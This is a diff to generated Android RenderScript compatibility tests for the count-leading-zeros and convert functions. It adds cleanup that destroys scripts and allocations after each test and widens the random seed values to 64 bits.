diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestClz.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestClz.java
index fac24c9..2243fcb 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestClz.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestClz.java
@@ -37,17 +37,25 @@
         scriptRelaxed = new ScriptC_TestClzRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsCharChar {
         public byte inValue;
         public byte out;
     }
 
     private void checkClzCharChar() {
-        Allocation inValue = createRandomAllocation(mRS, Element.DataType.SIGNED_8, 1, 0x2f7765afl, false);
+        Allocation inValue = createRandomAllocation(mRS, Element.DataType.SIGNED_8, 1, 0xf6f3a15e2f7765afl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_8, 1), INPUTSIZE);
             script.forEach_testClzCharChar(inValue, out);
             verifyResultsClzCharChar(inValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClzCharChar: " + e.toString());
         }
@@ -55,9 +63,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_8, 1), INPUTSIZE);
             scriptRelaxed.forEach_testClzCharChar(inValue, out);
             verifyResultsClzCharChar(inValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClzCharChar: " + e.toString());
         }
+        inValue.destroy();
     }
 
     private void verifyResultsClzCharChar(Allocation inValue, Allocation out, boolean relaxed) {
@@ -111,11 +121,12 @@
     }
 
     private void checkClzChar2Char2() {
-        Allocation inValue = createRandomAllocation(mRS, Element.DataType.SIGNED_8, 2, 0xcaca5e93l, false);
+        Allocation inValue = createRandomAllocation(mRS, Element.DataType.SIGNED_8, 2, 0xf718b99dcaca5e93l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_8, 2), INPUTSIZE);
             script.forEach_testClzChar2Char2(inValue, out);
             verifyResultsClzChar2Char2(inValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClzChar2Char2: " + e.toString());
         }
@@ -123,9 +134,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_8, 2), INPUTSIZE);
             scriptRelaxed.forEach_testClzChar2Char2(inValue, out);
             verifyResultsClzChar2Char2(inValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClzChar2Char2: " + e.toString());
         }
+        inValue.destroy();
     }
 
     private void verifyResultsClzChar2Char2(Allocation inValue, Allocation out, boolean relaxed) {
@@ -179,11 +192,12 @@
     }
 
     private void checkClzChar3Char3() {
-        Allocation inValue = createRandomAllocation(mRS, Element.DataType.SIGNED_8, 3, 0xc7099347l, false);
+        Allocation inValue = createRandomAllocation(mRS, Element.DataType.SIGNED_8, 3, 0x21a5da5bc7099347l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_8, 3), INPUTSIZE);
             script.forEach_testClzChar3Char3(inValue, out);
             verifyResultsClzChar3Char3(inValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClzChar3Char3: " + e.toString());
         }
@@ -191,9 +205,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_8, 3), INPUTSIZE);
             scriptRelaxed.forEach_testClzChar3Char3(inValue, out);
             verifyResultsClzChar3Char3(inValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClzChar3Char3: " + e.toString());
         }
+        inValue.destroy();
     }
 
     private void verifyResultsClzChar3Char3(Allocation inValue, Allocation out, boolean relaxed) {
@@ -247,11 +263,12 @@
     }
 
     private void checkClzChar4Char4() {
-        Allocation inValue = createRandomAllocation(mRS, Element.DataType.SIGNED_8, 4, 0xc348c7fbl, false);
+        Allocation inValue = createRandomAllocation(mRS, Element.DataType.SIGNED_8, 4, 0x4c32fb19c348c7fbl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_8, 4), INPUTSIZE);
             script.forEach_testClzChar4Char4(inValue, out);
             verifyResultsClzChar4Char4(inValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClzChar4Char4: " + e.toString());
         }
@@ -259,9 +276,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_8, 4), INPUTSIZE);
             scriptRelaxed.forEach_testClzChar4Char4(inValue, out);
             verifyResultsClzChar4Char4(inValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClzChar4Char4: " + e.toString());
         }
+        inValue.destroy();
     }
 
     private void verifyResultsClzChar4Char4(Allocation inValue, Allocation out, boolean relaxed) {
@@ -320,11 +339,12 @@
     }
 
     private void checkClzUcharUchar() {
-        Allocation inValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_8, 1, 0x8b84f57fl, false);
+        Allocation inValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_8, 1, 0xd2e451b48b84f57fl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_8, 1), INPUTSIZE);
             script.forEach_testClzUcharUchar(inValue, out);
             verifyResultsClzUcharUchar(inValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClzUcharUchar: " + e.toString());
         }
@@ -332,9 +352,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_8, 1), INPUTSIZE);
             scriptRelaxed.forEach_testClzUcharUchar(inValue, out);
             verifyResultsClzUcharUchar(inValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClzUcharUchar: " + e.toString());
         }
+        inValue.destroy();
     }
 
     private void verifyResultsClzUcharUchar(Allocation inValue, Allocation out, boolean relaxed) {
@@ -388,11 +410,12 @@
     }
 
     private void checkClzUchar2Uchar2() {
-        Allocation inValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_8, 2, 0xf47ebc85l, false);
+        Allocation inValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_8, 2, 0x792e2970f47ebc85l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_8, 2), INPUTSIZE);
             script.forEach_testClzUchar2Uchar2(inValue, out);
             verifyResultsClzUchar2Uchar2(inValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClzUchar2Uchar2: " + e.toString());
         }
@@ -400,9 +423,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_8, 2), INPUTSIZE);
             scriptRelaxed.forEach_testClzUchar2Uchar2(inValue, out);
             verifyResultsClzUchar2Uchar2(inValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClzUchar2Uchar2: " + e.toString());
         }
+        inValue.destroy();
     }
 
     private void verifyResultsClzUchar2Uchar2(Allocation inValue, Allocation out, boolean relaxed) {
@@ -456,11 +481,12 @@
     }
 
     private void checkClzUchar3Uchar3() {
-        Allocation inValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_8, 3, 0x3dbce203l, false);
+        Allocation inValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_8, 3, 0x9ee29ef83dbce203l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_8, 3), INPUTSIZE);
             script.forEach_testClzUchar3Uchar3(inValue, out);
             verifyResultsClzUchar3Uchar3(inValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClzUchar3Uchar3: " + e.toString());
         }
@@ -468,9 +494,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_8, 3), INPUTSIZE);
             scriptRelaxed.forEach_testClzUchar3Uchar3(inValue, out);
             verifyResultsClzUchar3Uchar3(inValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClzUchar3Uchar3: " + e.toString());
         }
+        inValue.destroy();
     }
 
     private void verifyResultsClzUchar3Uchar3(Allocation inValue, Allocation out, boolean relaxed) {
@@ -524,11 +552,12 @@
     }
 
     private void checkClzUchar4Uchar4() {
-        Allocation inValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_8, 4, 0x86fb0781l, false);
+        Allocation inValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_8, 4, 0xc497147f86fb0781l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_8, 4), INPUTSIZE);
             script.forEach_testClzUchar4Uchar4(inValue, out);
             verifyResultsClzUchar4Uchar4(inValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClzUchar4Uchar4: " + e.toString());
         }
@@ -536,9 +565,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_8, 4), INPUTSIZE);
             scriptRelaxed.forEach_testClzUchar4Uchar4(inValue, out);
             verifyResultsClzUchar4Uchar4(inValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClzUchar4Uchar4: " + e.toString());
         }
+        inValue.destroy();
     }
 
     private void verifyResultsClzUchar4Uchar4(Allocation inValue, Allocation out, boolean relaxed) {
@@ -597,11 +628,12 @@
     }
 
     private void checkClzShortShort() {
-        Allocation inValue = createRandomAllocation(mRS, Element.DataType.SIGNED_16, 1, 0xd8ad53l, false);
+        Allocation inValue = createRandomAllocation(mRS, Element.DataType.SIGNED_16, 1, 0x3290aea900d8ad53l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_16, 1), INPUTSIZE);
             script.forEach_testClzShortShort(inValue, out);
             verifyResultsClzShortShort(inValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClzShortShort: " + e.toString());
         }
@@ -609,9 +641,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_16, 1), INPUTSIZE);
             scriptRelaxed.forEach_testClzShortShort(inValue, out);
             verifyResultsClzShortShort(inValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClzShortShort: " + e.toString());
         }
+        inValue.destroy();
     }
 
     private void verifyResultsClzShortShort(Allocation inValue, Allocation out, boolean relaxed) {
@@ -665,11 +699,12 @@
     }
 
     private void checkClzShort2Short2() {
-        Allocation inValue = createRandomAllocation(mRS, Element.DataType.SIGNED_16, 2, 0x42dd6ebfl, false);
+        Allocation inValue = createRandomAllocation(mRS, Element.DataType.SIGNED_16, 2, 0x81f69d4442dd6ebfl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_16, 2), INPUTSIZE);
             script.forEach_testClzShort2Short2(inValue, out);
             verifyResultsClzShort2Short2(inValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClzShort2Short2: " + e.toString());
         }
@@ -677,9 +712,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testClzShort2Short2(inValue, out);
             verifyResultsClzShort2Short2(inValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClzShort2Short2: " + e.toString());
         }
+        inValue.destroy();
     }
 
     private void verifyResultsClzShort2Short2(Allocation inValue, Allocation out, boolean relaxed) {
@@ -733,11 +770,12 @@
     }
 
     private void checkClzShort3Short3() {
-        Allocation inValue = createRandomAllocation(mRS, Element.DataType.SIGNED_16, 3, 0x8c1b943dl, false);
+        Allocation inValue = createRandomAllocation(mRS, Element.DataType.SIGNED_16, 3, 0xa7ab12cb8c1b943dl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_16, 3), INPUTSIZE);
             script.forEach_testClzShort3Short3(inValue, out);
             verifyResultsClzShort3Short3(inValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClzShort3Short3: " + e.toString());
         }
@@ -745,9 +783,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testClzShort3Short3(inValue, out);
             verifyResultsClzShort3Short3(inValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClzShort3Short3: " + e.toString());
         }
+        inValue.destroy();
     }
 
     private void verifyResultsClzShort3Short3(Allocation inValue, Allocation out, boolean relaxed) {
@@ -801,11 +841,12 @@
     }
 
     private void checkClzShort4Short4() {
-        Allocation inValue = createRandomAllocation(mRS, Element.DataType.SIGNED_16, 4, 0xd559b9bbl, false);
+        Allocation inValue = createRandomAllocation(mRS, Element.DataType.SIGNED_16, 4, 0xcd5f8852d559b9bbl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_16, 4), INPUTSIZE);
             script.forEach_testClzShort4Short4(inValue, out);
             verifyResultsClzShort4Short4(inValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClzShort4Short4: " + e.toString());
         }
@@ -813,9 +854,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testClzShort4Short4(inValue, out);
             verifyResultsClzShort4Short4(inValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClzShort4Short4: " + e.toString());
         }
+        inValue.destroy();
     }
 
     private void verifyResultsClzShort4Short4(Allocation inValue, Allocation out, boolean relaxed) {
@@ -874,11 +917,12 @@
     }
 
     private void checkClzUshortUshort() {
-        Allocation inValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_16, 1, 0x2c0103a5l, false);
+        Allocation inValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_16, 1, 0x97bdeee92c0103a5l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_16, 1), INPUTSIZE);
             script.forEach_testClzUshortUshort(inValue, out);
             verifyResultsClzUshortUshort(inValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClzUshortUshort: " + e.toString());
         }
@@ -886,9 +930,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_16, 1), INPUTSIZE);
             scriptRelaxed.forEach_testClzUshortUshort(inValue, out);
             verifyResultsClzUshortUshort(inValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClzUshortUshort: " + e.toString());
         }
+        inValue.destroy();
     }
 
     private void verifyResultsClzUshortUshort(Allocation inValue, Allocation out, boolean relaxed) {
@@ -942,11 +988,12 @@
     }
 
     private void checkClzUshort2Ushort2() {
-        Allocation inValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_16, 2, 0xb2913837l, false);
+        Allocation inValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_16, 2, 0x5ea7a024b2913837l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_16, 2), INPUTSIZE);
             script.forEach_testClzUshort2Ushort2(inValue, out);
             verifyResultsClzUshort2Ushort2(inValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClzUshort2Ushort2: " + e.toString());
         }
@@ -954,9 +1001,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testClzUshort2Ushort2(inValue, out);
             verifyResultsClzUshort2Ushort2(inValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClzUshort2Ushort2: " + e.toString());
         }
+        inValue.destroy();
     }
 
     private void verifyResultsClzUshort2Ushort2(Allocation inValue, Allocation out, boolean relaxed) {
@@ -1010,11 +1059,12 @@
     }
 
     private void checkClzUshort3Ushort3() {
-        Allocation inValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_16, 3, 0xeaa1cfa3l, false);
+        Allocation inValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_16, 3, 0xb3f7537beaa1cfa3l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_16, 3), INPUTSIZE);
             script.forEach_testClzUshort3Ushort3(inValue, out);
             verifyResultsClzUshort3Ushort3(inValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClzUshort3Ushort3: " + e.toString());
         }
@@ -1022,9 +1072,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testClzUshort3Ushort3(inValue, out);
             verifyResultsClzUshort3Ushort3(inValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClzUshort3Ushort3: " + e.toString());
         }
+        inValue.destroy();
     }
 
     private void verifyResultsClzUshort3Ushort3(Allocation inValue, Allocation out, boolean relaxed) {
@@ -1078,11 +1130,12 @@
     }
 
     private void checkClzUshort4Ushort4() {
-        Allocation inValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_16, 4, 0x22b2670fl, false);
+        Allocation inValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_16, 4, 0x94706d322b2670fl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_16, 4), INPUTSIZE);
             script.forEach_testClzUshort4Ushort4(inValue, out);
             verifyResultsClzUshort4Ushort4(inValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClzUshort4Ushort4: " + e.toString());
         }
@@ -1090,9 +1143,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testClzUshort4Ushort4(inValue, out);
             verifyResultsClzUshort4Ushort4(inValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClzUshort4Ushort4: " + e.toString());
         }
+        inValue.destroy();
     }
 
     private void verifyResultsClzUshort4Ushort4(Allocation inValue, Allocation out, boolean relaxed) {
@@ -1151,11 +1206,12 @@
     }
 
     private void checkClzIntInt() {
-        Allocation inValue = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 1, 0x3142eb97l, false);
+        Allocation inValue = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 1, 0xb13809da3142eb97l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 1), INPUTSIZE);
             script.forEach_testClzIntInt(inValue, out);
             verifyResultsClzIntInt(inValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClzIntInt: " + e.toString());
         }
@@ -1163,9 +1219,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 1), INPUTSIZE);
             scriptRelaxed.forEach_testClzIntInt(inValue, out);
             verifyResultsClzIntInt(inValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClzIntInt: " + e.toString());
         }
+        inValue.destroy();
     }
 
     private void verifyResultsClzIntInt(Allocation inValue, Allocation out, boolean relaxed) {
@@ -1219,11 +1277,12 @@
     }
 
     private void checkClzInt2Int2() {
-        Allocation inValue = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 2, 0x27fe3ad5l, false);
+        Allocation inValue = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 2, 0xc9fd2c1a27fe3ad5l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 2), INPUTSIZE);
             script.forEach_testClzInt2Int2(inValue, out);
             verifyResultsClzInt2Int2(inValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClzInt2Int2: " + e.toString());
         }
@@ -1231,9 +1290,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testClzInt2Int2(inValue, out);
             verifyResultsClzInt2Int2(inValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClzInt2Int2: " + e.toString());
         }
+        inValue.destroy();
     }
 
     private void verifyResultsClzInt2Int2(Allocation inValue, Allocation out, boolean relaxed) {
@@ -1287,11 +1348,12 @@
     }
 
     private void checkClzInt3Int3() {
-        Allocation inValue = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 3, 0xf2d24c2bl, false);
+        Allocation inValue = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 3, 0xd6e2b014f2d24c2bl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 3), INPUTSIZE);
             script.forEach_testClzInt3Int3(inValue, out);
             verifyResultsClzInt3Int3(inValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClzInt3Int3: " + e.toString());
         }
@@ -1299,9 +1361,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testClzInt3Int3(inValue, out);
             verifyResultsClzInt3Int3(inValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClzInt3Int3: " + e.toString());
         }
+        inValue.destroy();
     }
 
     private void verifyResultsClzInt3Int3(Allocation inValue, Allocation out, boolean relaxed) {
@@ -1355,11 +1419,12 @@
     }
 
     private void checkClzInt4Int4() {
-        Allocation inValue = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 4, 0xbda65d81l, false);
+        Allocation inValue = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 4, 0xe3c8340fbda65d81l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 4), INPUTSIZE);
             script.forEach_testClzInt4Int4(inValue, out);
             verifyResultsClzInt4Int4(inValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClzInt4Int4: " + e.toString());
         }
@@ -1367,9 +1432,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testClzInt4Int4(inValue, out);
             verifyResultsClzInt4Int4(inValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClzInt4Int4: " + e.toString());
         }
+        inValue.destroy();
     }
 
     private void verifyResultsClzInt4Int4(Allocation inValue, Allocation out, boolean relaxed) {
@@ -1428,11 +1495,12 @@
     }
 
     private void checkClzUintUint() {
-        Allocation inValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_32, 1, 0x75ac502fl, false);
+        Allocation inValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_32, 1, 0x64a0b78a75ac502fl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_32, 1), INPUTSIZE);
             script.forEach_testClzUintUint(inValue, out);
             verifyResultsClzUintUint(inValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClzUintUint: " + e.toString());
         }
@@ -1440,9 +1508,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_32, 1), INPUTSIZE);
             scriptRelaxed.forEach_testClzUintUint(inValue, out);
             verifyResultsClzUintUint(inValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClzUintUint: " + e.toString());
         }
+        inValue.destroy();
     }
 
     private void verifyResultsClzUintUint(Allocation inValue, Allocation out, boolean relaxed) {
@@ -1496,11 +1566,12 @@
     }
 
     private void checkClzUint2Uint2() {
-        Allocation inValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_32, 2, 0x29344f93l, false);
+        Allocation inValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_32, 2, 0xf809b50329344f93l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_32, 2), INPUTSIZE);
             script.forEach_testClzUint2Uint2(inValue, out);
             verifyResultsClzUint2Uint2(inValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClzUint2Uint2: " + e.toString());
         }
@@ -1508,9 +1579,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testClzUint2Uint2(inValue, out);
             verifyResultsClzUint2Uint2(inValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClzUint2Uint2: " + e.toString());
         }
+        inValue.destroy();
     }
 
     private void verifyResultsClzUint2Uint2(Allocation inValue, Allocation out, boolean relaxed) {
@@ -1564,11 +1637,12 @@
     }
 
     private void checkClzUint3Uint3() {
-        Allocation inValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_32, 3, 0x25738447l, false);
+        Allocation inValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_32, 3, 0x2296d5c125738447l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_32, 3), INPUTSIZE);
             script.forEach_testClzUint3Uint3(inValue, out);
             verifyResultsClzUint3Uint3(inValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClzUint3Uint3: " + e.toString());
         }
@@ -1576,9 +1650,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testClzUint3Uint3(inValue, out);
             verifyResultsClzUint3Uint3(inValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClzUint3Uint3: " + e.toString());
         }
+        inValue.destroy();
     }
 
     private void verifyResultsClzUint3Uint3(Allocation inValue, Allocation out, boolean relaxed) {
@@ -1632,11 +1708,12 @@
     }
 
     private void checkClzUint4Uint4() {
-        Allocation inValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_32, 4, 0x21b2b8fbl, false);
+        Allocation inValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_32, 4, 0x4d23f67f21b2b8fbl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_32, 4), INPUTSIZE);
             script.forEach_testClzUint4Uint4(inValue, out);
             verifyResultsClzUint4Uint4(inValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClzUint4Uint4: " + e.toString());
         }
@@ -1644,9 +1721,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testClzUint4Uint4(inValue, out);
             verifyResultsClzUint4Uint4(inValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClzUint4Uint4: " + e.toString());
         }
+        inValue.destroy();
     }
 
     private void verifyResultsClzUint4Uint4(Allocation inValue, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestConvert.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestConvert.java
index d7fbb9a..25255f2 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestConvert.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestConvert.java
@@ -37,17 +37,25 @@
         scriptRelaxed = new ScriptC_TestConvertRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloat {
         public float inV;
         public Target.Floaty out;
     }
 
